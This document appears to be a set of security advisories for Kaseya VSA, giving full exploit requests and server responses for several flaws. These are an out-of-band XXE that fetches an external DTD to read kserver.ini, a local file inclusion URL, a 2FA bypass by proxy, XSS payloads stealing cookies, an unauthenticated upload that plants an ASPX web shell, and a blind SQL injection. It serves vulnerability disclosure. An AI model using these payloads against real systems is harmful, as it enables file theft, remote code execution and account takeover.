The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: `https://x.x.x.x/KLC/js/Kaseya.SB.JS/js.aspx?path=C:\Kaseya\WebPages\dl.asp` A valid sessionId is required but can be easily obtained via CVE-2021-30118

Kaseya VSA before 9.5.7 allows attackers to bypass the 2FA requirement. The need to use 2FA for authentication in enforce client-side instead of server-side and can be bypassed using a local proxy. Thus rendering 2FA useless. Detailed description --- During the login process, after the user authenticates with username and password, the server sends a response to the client with the booleans MFARequired and MFAEnroled. If the attacker has obtained a password of a user and used an intercepting proxy (e.g. Burp Suite) to change the value of MFARequered from True to False, there is no prompt for the second factor, but the user is still logged in.

Authenticated reflective XSS in HelpDeskTab/rcResults.asp The parameter result of /HelpDeskTab/rcResults.asp is insecurely returned in the requested web page and can be used to perform a Cross Site Scripting attack Example request: `https://x.x.x.x/HelpDeskTab/rcResults.asp?result=<script>alert(document.cookie)</script>` The same is true for the parameter FileName of /done.asp Eaxmple request: `https://x.x.x.x/done.asp?FileName=";</script><script>alert(1);a="&PathData=&originalName=shell.aspx&FileSize=4388&TimeElapsed=00:00:00.078`

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```